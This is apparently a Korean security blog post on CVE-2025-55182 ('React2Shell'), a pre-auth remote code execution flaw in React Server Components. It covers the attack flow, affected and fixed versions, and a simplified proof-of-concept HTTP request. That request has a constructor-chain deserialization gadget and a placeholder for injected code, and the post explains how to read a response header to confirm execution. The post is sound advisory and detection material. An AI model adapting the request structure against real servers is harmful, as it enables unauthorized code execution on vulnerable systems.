상세 컨텐츠

본문 제목

React 서버 컴포넌트 원격코드 실행 취약점(CVE-2025-55182)

IT기술노트

by 경험한사람 2025. 12. 7. 12:53

본문

수백만 웹사이트에서 사용되는 React 오픈소스 소프트웨어에서 **최고 위험 등급의 원격 코드 실행(RCE) 취약점, 'React2Shell'**이 발견되어 전 세계적인 보안 비상이 걸렸습니다.  이 취약점은 Log4j 사태 이후 '최악의 취약점'으로 불리며, 한국의 18만 대 서버가 실제 공격에 무방비로 노출된 심각한 상황입니다.




  개요  

     CVE-2025-55182는 React 서버 컴포넌트(RSC)에 존재하는 사전 인증 원격 코드 실행(RCE) 취약점으로, CVSS 10.0 (치명적) 등급이 부여된 2025년 최악 수준의 웹 애플리케이션 취약점입니다.
    인증되지 않은 공격자가 특수 제작된 HTTP 요청만으로 서버에서 임의의 시스템 명령을 실행할 수 있으며, React 서버 함수를 직접 사용하지 않더라도 RSC를 지원하는 프레임워크 자체만 사용해도 취약할 수 있습니다.

 

  취약점 개요   

항목 내용
CVE CVE-2025-55182
취약점 유형 사전 인증 원격 코드 실행 (Pre-auth RCE)
핵심 원인 서버 함수 요청 페이로드의 안전하지 않은 역직렬화(Unsafe Deserialization)
공격 벡터 인증 없이 특수 HTTP 요청 전송
영향 서버 권한 획득, 시스템 완전 장악 가능
CVSS 점수 10.0 (치명적)
CVSS 벡터 AV:N / AC:L / PR:N / UI:N / S:C / C:H / I:H / A:H

※ React 서버 함수를 직접 구현하지 않았더라도, RSC를 지원하는 프레임워크나 번들러를 사용 중이면 취약할 수 있습니다.

  공격흐름    
   React Server Components 취약점은 “React 서버가 믿고 받아들이는 데이터를 꾸며서, 서버 안에서 코드가 실행되게 만드는 공격
       ① 공격자가 React 서버에 정상 요청처럼 보이는 HTTP 요청을 보낸다.
       ② 그 안에는 React Server Components(RSC)용으로 꾸며진 JSON 데이터가 들어 있다.
       ③ 서버는 이 데이터를 “React가 만든 정상 데이터겠지”라고 믿고 그대로 복원(역직렬화) 한다.
       ④ 이 과정에서 공격자가 심어둔 자바스크립트 코드가 서버 안에서 실행된다.
       ⑤ 실행 결과는 리다이렉트 헤더 등 정상 기능에 섞여서 응답으로 되돌아온다.

  예시 POC 요청(Request) 헤더    
   실제 공격 테스트에 쓰이는 HTTP 요청을 아주 단순화한 예시
      - “공격자는 위처럼 정상 RSC 요청인 척하는 HTTP 요청을 보내고, 그 안에 _prefix 등 내부 필드에 악성 코드를 심어 서버가 그대로 실행하도록 만듭니다.”

POST / HTTP/1.1
Host: vulnerable-react-app.com
Next-Action: x
X-Nextjs-Request-Id: abcd1234
X-Nextjs-Html-Request-Id: xyz987654321
Content-Type: multipart/form-data; boundary=----MyBoundary

------MyBoundary
Content-Disposition: form-data; name="0"

{
  "status": "resolved_model",
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "/* 여기 안에 서버에서 실행될 JS 코드가 들어감 */",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------MyBoundary
Content-Disposition: form-data; name="1"

"$@0"
------MyBoundary
Content-Disposition: form-data; name="2"

[]
------MyBoundary--


POST / HTTP/1.1   
     → “이 주소(/)로 데이터를 보내는 요청이다.”

Next-Action, X-Nextjs-Request-Id   
     → “Next.js(React 기반 프레임워크)가 서버 함수 요청을 구분할 때 쓰는 헤더다.”

Content-Type: multipart/form-data; ...   
     → “파일 업로드나 폼 전송에 쓰이는 형식인데, 여기서는 React용 데이터를 담는 그릇 역할만 하고 있다.”

name="0"에 들어간 JSON   
     → “겉으로는 그냥 JSON처럼 보이지만, 실제로는 React Server Components가 내부에서 쓰는 구조를 흉내 낸 것”
     → 그 안에 있는 _response._prefix가 서버에서 실행되는 코드로 연결되는 부분이다.


  예시 POC 응답(Response) 헤더    
   공격자는 단순히 “서버가 에러를 냈다” 정도로 끝내지 않고, 정말로 서버 안에서 코드가 실행됐는지를 확인해야 합니다.
      - React/Next.js는 페이지 이동을 위해 리다이렉트 정보를 헤더에 담아 보내는데, 이걸 “몰래 결과값을 전달하는 통로”로 활용합니다.
      - 예를 들면, 테스트용으로 서버에서 12345 * 67890 같은 곱셈을 시켜놓고,그 결과를 /login?a=곱셈결과 에 붙여서 돌려보내게 만드는 식입니다.

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Action-Redirect: /login?a=838102050
X-Nextjs-RSC: 1
...

<html>...</html>


X-Action-Redirect: /login?a=838102050   
   - 원래는 **“/login 페이지로 이동하라”**는 정상적인 기능용 헤더이며, 여기 a=838102050 값이 실제로는 서버에서 실행한 곱셈 결과
     →  즉 이 숫자가 우리가 의도한 계산 결과와 똑같다면, “서버 안에서 우리가 시킨 코드(곱셈)가 실제로 실행됐다” → RCE 성공


그래서 보안 연구자들은, 요청에서 40000 × 42051 같은 랜덤 숫자를 보낸 뒤, 응답 헤더의 /login?a=XXXX 값이 그 곱셈 결과와 같으면
     →   이 서버는 React RCE 취약점에 노출되어 있다고 판단합니다.   

※ 최종 플로우 정리
    ① 공격자는 React Server Components 서버에게 “정상 요청인 척 하면서 사실은 조작된 데이터”를 보냅니다.
    ② 서버는 그 데이터를 그대로 믿고 복원하면서, 내부에서 사용하는 코드 실행 부분에 공격자가 넣은 값을 연결해 버립니다.
    ③  그 결과, 서버 안에서 운영체제 명령이나 자바스크립트 코드가 실행되고, 그 실행 결과는 리다이렉트 헤더(X-Action-

Redirect) 처럼 보이는 응답 속에 숨어서 돌아옵니다.


  영향받는 제품 및 해결 방안   

취약점 제품명 영향받는 버전 해결 버전
CVE-2025-55182 react-server-dom-webpack 19.0 19.0.1
19.1.0 ~ 19.1.1 19.1.2
19.2.0 19.2.1
react-server-dom-parcel 19.0 19.0.1
19.1.0 ~ 19.1.1 19.1.2
19.2.0 19.2.1
react-server-dom-turbopack 19.0 19.0.1
19.1.0 ~ 19.1.1 19.1.2
19.2.0 19.2.1
Next.js 14.3.0-canary.77 이상 최신 안정 버전으로 다운그레이드 권고
(14.x)
15.0.x 15.0.5
15.1.x 15.1.9
15.2.x 15.2.6
15.3.x 15.3.6
15.4.x 15.4.8
15.5.x 15.5.7
16.0.x 16.0.7

※ RSC를 사용하지 않는 환경은 영향 없음
※ 하단의 참고사이트를 확인하여 업데이트 수행 [1][2]

※ NIST에서 CVE-2025-66478은 CVE-2025-55182와 동일 취약점으로 중복 처리하여 정보 삭제됨


  React 영향 프레임워크 상세 정보

프레임워크 / 도구 주요 역할 및 특징 React 연관성 (RSC 모드)
Next.js (App Router) React 기반의 풀스택 웹 애플리케이션 프레임워크입니다. 파일 시스템 기반 라우팅을 사용하며, App Router에서 RSC를 핵심적으로 채택했습니다. RSC를 이용한 서버 렌더링, 정적 생성, 데이터 페칭 기능을 제공하여 성능을 최적화합니다.
React Router (RSC 모드) React 애플리케이션을 위한 클라이언트 측 라우팅 라이브러리입니다. RSC 모드는 서버 컴포넌트 환경에서의 라우팅을 지원하기 위해 설계되었습니다. RSC 환경에서 데이터 로딩과 라우팅을 통합하여 클라이언트-서버 간 전환을 최적화하는 방식을 연구/제공합니다.
Expo React Native 기반의 모바일 및 웹 애플리케이션 개발 프레임워크입니다. Expo Router를 통해 Next.js의 파일 시스템 라우팅 및 RSC와 유사한 서버 측 기능을 모바일/크로스 플랫폼 환경에 도입하고 있습니다.
RedwoodJS React, GraphQL, TypeScript를 기반으로 하는 풀스택 웹 애플리케이션 프레임워크입니다. RSC 아키텍처를 통합하여 개발자들이 서버와 클라이언트 기능을 더욱 쉽게 결합할 수 있도록 지원하고 있습니다.
Waku RSC를 기반으로 구축된 경량의 React 프레임워크/보일러플레이트입니다. RSC의 원칙을 사용하여 최소한의 클라이언트 측 JavaScript로 빠른 성능의 애플리케이션을 만드는 데 중점을 둡니다.
@vitejs/plugin-rsc Vite 빌드 도구에서 React Server Components를 지원하기 위한 플러그인입니다. 개발자가 Vite 환경에서 RSC를 사용하여 프로젝트를 설정하고 빌드할 수 있도록 빌드 파이프라인을 제공합니다.
@parcel/rsc Parcel 빌드 도구에서 React Server Components를 지원하기 위한 기능 또는 플러그인입니다. Parcel 환경에서 RSC 코드 분할 및 번들링을 처리하여 RSC 기반 애플리케이션의 최적화된 배포를 가능하게 합니다.

 
참고사이트    

   [1] https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

   [2] https://nvd.nist.gov/vuln/detail/CVE-2025-55182

   [3] https://nvd.nist.gov/vuln/detail/CVE-2025-66478

251206_랜섬웨어 사고 증가에 따른 주의 공지.pdf
0.15MB


□ 취약점 점검 및 지원 배포 사이트    

 

□ 관련기사    


감사합니다.

관련글 더보기